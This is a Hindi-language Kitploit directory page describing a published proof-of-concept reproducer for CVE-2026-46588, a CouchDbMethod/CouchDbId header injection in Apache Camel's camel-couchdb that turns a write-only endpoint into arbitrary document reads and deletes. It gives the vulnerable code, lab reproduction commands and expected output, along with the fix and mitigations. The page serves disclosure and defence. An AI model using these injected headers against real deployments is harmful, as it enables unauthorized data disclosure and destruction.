Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-46588 — CVE-2026-46588 के लिए पुनरुत्पादक: Apache Camel camel-couchdb CouchDb* हेडर इंजेक्शन (ऑपरेशन भ्रम) केवल-लेखन समापन बिंदु को मनमाने दस्तावेज़ों के पढ़ने और हटाने में बदलना (4.14.8/4.18.3/4.21.0 में ठीक किया गया) | Kitploit
उपकरण/GitHubGitHub/oscerd/cve-2026-46588
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHuboscerd/cve-2026-46588

CVE-2026-46588

CVE-2026-46588 के लिए पुनरुत्पादक: Apache Camel camel-couchdb CouchDb* हेडर इंजेक्शन (ऑपरेशन भ्रम) केवल-लेखन समापन बिंदु को मनमाने दस्तावेज़ों के पढ़ने और हटाने में बदलना (4.14.8/4.18.3/4.21.0 में ठीक किया गया)

रिपॉजिटरी देखें
11 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

camel-couchdb CouchDb* हैडर इंजेक्शन पुनरुत्पादक (CVE-2026-46588)

यह प्रोजेक्ट Apache Camel के camel-couchdb घटक में एक मैसेज-हैडर इंजेक्शन को प्रदर्शित करता है, जिसे CVE-2026-46588 के रूप में ट्रैक किया गया है। यह घटक अपने व्यवहार को नियंत्रित करने के लिए कई एक्सचेंज हेडर पढ़ता है — CouchDbDatabase, CouchDbSeq, CouchDbId (दस्तावेज़ आईडी), CouchDbRev (दस्तावेज़ संशोधन) और CouchDbMethod (ऑपरेशन विधि)। इन हेडर स्थिरांकों के स्ट्रिंग मान (CouchDbConstants में परिभाषित) मानक Camel उपसर्ग के बजाय उपसर्ग का उपयोग करते हैं, जिसका उपयोग हर दूसरा घटक करता है। Camel का इनबाउंड केवल उन हेडर नामों को ब्लॉक करता है जो / से शुरू होते हैं, इसलिए ये नाम इनबाउंड फ़िल्टर को अपरिवर्तित पास कर देते हैं। जब कोई रूट किसी काउचडीबी प्रोड्यूसर के सामने एक HTTP प्रवेश बिंदु (उदाहरण के लिए platform-http) प्रदर्शित करता है, तो एक अविश्वसनीय HTTP क्लाइंट इन हेडर को सीधे सेट कर सकता है और कर सकता है।

CouchDb
HttpHeaderFilterStrategy
Camel
camel
रूट लेखक द्वारा इच्छित ऑपरेशन को ओवरराइड

यह PoC प्रभाव को ऑपरेशन भ्रम के रूप में प्रदर्शित करता है: एक केवल-लिखने वाला दस्तावेज़-अंतर्ग्रहण समापन बिंदु, CouchDbMethod (और CouchDbId) को इंजेक्ट करके मनमाना दस्तावेज़ पढ़ने और फिर हटाने में बदल दिया जाता है।

  1. CouchDbMethod=GET + CouchDbId=<गुप्त> → प्रकटीकरण (एक दस्तावेज़ पढ़ता है जिसे समापन बिंदु कभी उजागर नहीं करता है, और उसका _rev लीक करता है)।
  2. CouchDbMethod=DELETE (लीक किए गए _rev के साथ) → विनाश (उस दस्तावेज़ को हटाता है)।

परामर्श: https://camel.apache.org/security/CVE-2026-46588.html

भेद्यता सारांश

गुणमान
घटकcamel-couchdb
प्रभावित वर्गorg.apache.camel.component.couchdb.CouchDbProducer पढ़ता है CouchDbConstants.HEADER_METHOD ("CouchDbMethod"), HEADER_DOC_ID ("CouchDbId"), आदि।
CWECWE-20: अनुचित इनपुट सत्यापन
प्रभावएक HTTP क्लाइंट CouchDb* हेडर सेट करता है → ऑपरेशन/दस्तावेज़ को ओवरराइड करता है → प्रकटीकरण, विलोपन, छेड़छाड़
पूर्व शर्तेंएक रूट एक काउचडीबी प्रोड्यूसर को एक HTTP उपभोक्ता (जैसे platform-http) के पीछे उजागर करता है; जब उपभोक्ता अप्रमाणित हो तो अप्रमाणित
प्रभावित संस्करण4.0.0 से 4.14.8 से पहले, 4.15.0 से 4.18.3 से पहले, 4.19.0 से 4.21.0 से पहले
स्थिर संस्करण4.14.8, 4.18.3, 4.21.0
सुधारPR apache/camel#23228 (मुख्य), #23230 (4.18.x) / #23231 (4.14.x) के माध्यम से बैकपोर्ट किया गया
श्रेययू बाओ (PayPal)

हैडर-इंजेक्शन का वही परिवार जैसे CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 और CVE-2026-47323। सुधार अपने PR को सहयोगी परामर्श CVE-2026-46587 (camel-couchbase) के साथ साझा करता है।

तकनीकी विवरण

root@kitploit:~
// CouchDbConstants (प्रभावित 4.18.2) — हेडर नामों में CouchDb उपसर्ग है, Camel नहीं:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";

// CouchDbProducer.process (प्रभावित 4.18.2) — ऑपरेशन हेडर से चुना जाता है:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
    saveJsonElement(json);                                             // डिफ़ॉल्ट: बॉडी को सेव करें
} else if (operation.equalsIgnoreCase("DELETE")) {
    deleteJsonElement(json);                                          // बॉडी के _id/_rev द्वारा हटाएं
} else if (operation.equalsIgnoreCase("GET")) {
    String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
    exchange.getIn().setBody(getElement(docId));                     // एक मनमाना दस्तावेज़ पढ़ें
}

सुधार (4.14.8 / 4.18.3 / 4.21.0) हेडर मानों का नाम बदलकर Camel परंपरा में करता है — CouchDbMethod → CamelCouchDbMethod, CouchDbId → CamelCouchDbId, CouchDbRev → CamelCouchDbRev, CouchDbDatabase → CamelCouchDbDatabase, CouchDbSeq → CamelCouchDbSeq — ताकि वे हर दूसरे Camel नियंत्रण हेडर की तरह इनबाउंड HttpHeaderFilterStrategy द्वारा अवरुद्ध हो जाएं। Java स्थिरांक फ़ील्ड नाम अपरिवर्तित हैं।

पीड़ित रूट

root@kitploit:~
from("platform-http:/ingest")
    .removeHeaders("Camel*")                                          // दस्तावेज़ित कठोरीकरण — नीचे देखें
    .convertBodyTo(String.class)
    .to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");

रूट लेखक का इरादा एक केवल-लिखने वाला अंतर्ग्रहण समापन बिंदु है — क्लाइंट सेव करने के लिए दस्तावेज़ POST करते हैं, और कुछ नहीं। दस्तावेज़ित कठोरीकरण के रूप में रूट किनारे पर Camel नियंत्रण-हेडर नामस्थान को हटा देता है। वह मदद नहीं करता: ऑपरेशन हेडर का नाम CouchDbMethod है, न कि CamelCouchDbMethod, इसलिए यह न तो removeHeaders("Camel*") द्वारा और न ही अंतर्निहित HTTP हेडर फ़िल्टर द्वारा हटाया जाता है — और प्रोड्यूसर इसके आधार पर ऑपरेशन बदलता है।

रिपॉजिटरी लेआउट

पीड़ित Camel अंतर्ग्रहण रूट और उसका CouchDB डेटाबेस है; हमलावर एक अप्रमाणित HTTP क्लाइंट है जो केवल अनुरोध हेडर सेट करता है। एक छोटा REST हार्नेस सत्यापन के लिए गुप्त दस्तावेज़ को बीजित और पढ़ता है, जो भेद्य रूट से स्वतंत्र रूप से काम करता है।

root@kitploit:~
CVE-2026-46588/
├── pom.xml                 # camel-platform-http + camel-couchdb 4.18.2 (gson को 2.13.2 पर पिन किया गया है, नोट देखें)
├── Dockerfile
├── docker-compose.yml      # couchdb 3.3 + ऐप
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CouchDbSettings.java      # होस्ट / डीबी / क्रेडेंशियल / गुप्त दस्तावेज़ आईडी + मार्कर
    │   ├── CouchDbHarness.java       # REST हार्नेस: CouchDB की प्रतीक्षा करता है, गुप्त दस्तावेज़ को बीजित और पढ़ता है
    │   ├── VictimRoute.java          # platform-http:/ingest -> couchdb प्रोड्यूसर (केवल-लिखने का इरादा)
    │   └── ExploitController.java    # हमलावर: इंजेक्टेड CouchDbMethod / CouchDbId हेडर के साथ /ingest पर POST
    └── resources/
        └── application.properties

नोट: pom gson.version=2.13.2 को पिन करता है (जो संस्करण Camel भेजता है)। Spring Boot 3.2.0 अन्यथा पुराने gson 2.10.1 को पिन करेगा, जिसमें com.google.gson.internal.GsonTypes की कमी है और बंडल किया गया Cloudant SDK रनटाइम पर NoClassDefFoundError फेंकता है।

पूर्वापेक्षाएँ

  • Docker और Docker Compose (CouchDB + ऐप चलाता है)
  • Java 17+ और Maven 3.8+ (jar बनाने के लिए)

पुनरुत्पादन चरण

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
# ऐप लॉग लाइन "Started Application" की प्रतीक्षा करें, फिर:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

अपेक्षित आउटपुट

root@kitploit:~
secret document in CouchDB (read straight from the database):
  {"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}

=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
  {"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
  { "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
  disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
  secret document now: <not found>
  destruction: true

>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.

हमले के वेक्टर

कोई भी रूट जिसमें काउचडीबी प्रोड्यूसर HTTP उपभोक्ता से पहुंच योग्य हो। इंजेक्ट करने योग्य हेडर: CouchDbMethod (सेव को गेट/डिलीट में बदलें), CouchDbId (गेट के लिए लक्ष्य दस्तावेज़), और डिलीट के लिए बॉडी का _id / _rev। उपभोक्ता पक्ष CouchDbDatabase और CouchDbSeq जोड़ता है।

अनुशंसित सुधार

4.14.8 / 4.18.3 / 4.21.0 में अपग्रेड करें (परामर्श PR #23228)। सुधार के बाद नियंत्रण हेडर में Camel उपसर्ग (CamelCouchDbMethod, CamelCouchDbId, …) होता है और वे हर दूसरे नियंत्रण हेडर की तरह HTTP सीमा पर फ़िल्टर हो जाते हैं।

शमन

अपग्रेड करने तक, प्रभावित हेडर को अविश्वसनीय इनबाउंड संदेशों से हटा दें, इससे पहले कि वे प्रोड्यूसर तक पहुंचें, जैसे कि .removeHeader("CouchDbDatabase"), .removeHeader("CouchDbId"), .removeHeader("CouchDbRev"), .removeHeader("CouchDbSeq") और .removeHeader("CouchDbMethod") को काउचडीबी समापन बिंदु के सामने रखें, या एक कस्टम HeaderFilterStrategy लागू करें जो इन नामों को ब्लॉक करता है।

अस्वीकरण

यह पुनरुत्पादक सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और स्थिर भेद्यता के लिए। स्पष्ट अनुमति के बिना इसे सिस्टम के विरुद्ध उपयोग न करें।

टूल डाउनलोड करें